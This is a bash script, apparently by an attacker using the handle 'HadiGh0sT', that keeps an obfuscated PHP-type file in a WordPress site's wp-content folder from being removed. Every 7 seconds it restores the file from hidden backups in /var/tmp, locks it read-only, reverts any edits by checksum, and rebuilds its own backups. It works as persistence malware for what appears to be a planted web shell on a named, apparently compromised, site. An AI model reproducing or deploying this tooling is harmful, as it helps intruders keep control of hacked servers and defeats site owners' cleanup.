#!/bin/bash
# Anti-Delete Protection Script — HadiGh0sT
# Auto-generated, berdiri sendiri (tidak butuh PHP)
PROTECT_FILE="/home/edulekha/sriramaaresorts.com/wp-content/rootshi-obf.PhTmL"
INITIAL_BACKUP="/var/tmp/.file_protector_backups/file_a2509635.initial"
LAST_GOOD_BACKUP="/var/tmp/.file_protector_backups/file_a2509635.lastgood"
CHECKSUM_FILE="/var/tmp/.file_protector/file_a2509635.checksum"
BACKUP_DIR="/var/tmp/.file_protector_backups"
CONFIG_DIR="/var/tmp/.file_protector"
LOG_FILE="/var/tmp/.file_protector.log"
FID="file_a2509635"
log_msg() {
echo "$(date '+%Y-%m-%d %H:%M:%S') [$1] $2" >> "$LOG_FILE"
}
# Restore file ke target dari source
verify_restore() {
local target="$1"
local src="$2"
local reason="$3"
local dir_path
dir_path=$(dirname "$target")
log_msg "RESTORE" "$reason -> $target"
[ ! -d "$dir_path" ] && mkdir -p "$dir_path" 2>/dev/null
# Buka lock jika ada (chmod dulu agar bisa overwrite)
chmod 644 "$target" 2>/dev/null
cp -p "$src" "$target" 2>/dev/null
if [ $? -eq 0 ] && [ -f "$target" ] && [ "$(stat -c %s "$target" 2>/dev/null)" -gt 0 ]; then
chmod 444 "$target" 2>/dev/null
md5sum "$target" 2>/dev/null | cut -d' ' -f1 > "$CHECKSUM_FILE"
log_msg "SUCCESS" "Restored OK: $target"
else
log_msg "FAILED" "Restore failed: $target (src=$src)"
fi
}
# Restore backup (initial atau lastgood) jika dihapus/korup
repair_backup() {
local bak="$1"
local ref="$2" # sumber fallback
local label="$3"
if [ ! -f "$bak" ] || [ "$(stat -c %s "$bak" 2>/dev/null || echo 0)" -eq 0 ]; then
log_msg "WARNING" "Backup $label hilang/kosong — rebuild dari: $ref"
if [ -f "$ref" ] && [ "$(stat -c %s "$ref" 2>/dev/null || echo 0)" -gt 0 ]; then
chmod 644 "$bak" 2>/dev/null
cp -p "$ref" "$bak" 2>/dev/null
chmod 444 "$bak" 2>/dev/null
log_msg "SUCCESS" "Backup $label di-rebuild: $bak"
elif [ -f "$PROTECT_FILE" ] && [ "$(stat -c %s "$PROTECT_FILE" 2>/dev/null || echo 0)" -gt 0 ]; then
chmod 644 "$bak" 2>/dev/null
cp -p "$PROTECT_FILE" "$bak" 2>/dev/null
chmod 444 "$bak" 2>/dev/null
log_msg "SUCCESS" "Backup $label di-rebuild dari file asli: $bak"
else
log_msg "ERROR" "Tidak bisa rebuild backup $label — semua sumber hilang"
fi
fi
}
log_msg "INFO" "Protection loop dimulai untuk: $PROTECT_FILE (PID: $$)"
while true; do
sleep 7
# ── 1. Cek & restore file utama ──────────────────────────
if [ ! -e "$PROTECT_FILE" ]; then
# Tentukan sumber restore terbaik
if [ -f "$LAST_GOOD_BACKUP" ] && [ "$(stat -c %s "$LAST_GOOD_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "file_deleted"
elif [ -f "$INITIAL_BACKUP" ] && [ "$(stat -c %s "$INITIAL_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
verify_restore "$PROTECT_FILE" "$INITIAL_BACKUP" "file_deleted_fallback_initial"
else
log_msg "ERROR" "File dihapus tapi semua backup hilang: $PROTECT_FILE"
fi
continue
fi
# ── 2. Cek & fix permission file utama ───────────────────
current_perm=$(stat -c %a "$PROTECT_FILE" 2>/dev/null)
if [[ ! "$current_perm" =~ ^(444|400)$ ]]; then
log_msg "PERMISSION" "Fix perm: $current_perm -> 444 ($PROTECT_FILE)"
chmod 444 "$PROTECT_FILE" 2>/dev/null
fi
# ── 3. Cek checksum — restore jika konten berubah ────────
if [ -f "$CHECKSUM_FILE" ]; then
current_checksum=$(md5sum "$PROTECT_FILE" 2>/dev/null | cut -d' ' -f1)
stored_checksum=$(cat "$CHECKSUM_FILE" 2>/dev/null)
if [ -n "$current_checksum" ] && [ -n "$stored_checksum" ] && [ "$current_checksum" != "$stored_checksum" ]; then
if [ -f "$LAST_GOOD_BACKUP" ] && [ "$(stat -c %s "$LAST_GOOD_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "content_modified"
elif [ -f "$INITIAL_BACKUP" ]; then
verify_restore "$PROTECT_FILE" "$INITIAL_BACKUP" "content_modified_fallback"
fi
fi
fi
# ── 4. Lindungi file BACKUP itu sendiri ──────────────────
# Jika initial backup hilang/kosong, rebuild dari lastgood / file asli
repair_backup "$INITIAL_BACKUP" "$LAST_GOOD_BACKUP" "initial"
# Jika lastgood hilang/kosong, rebuild dari initial / file asli
repair_backup "$LAST_GOOD_BACKUP" "$INITIAL_BACKUP" "lastgood"
done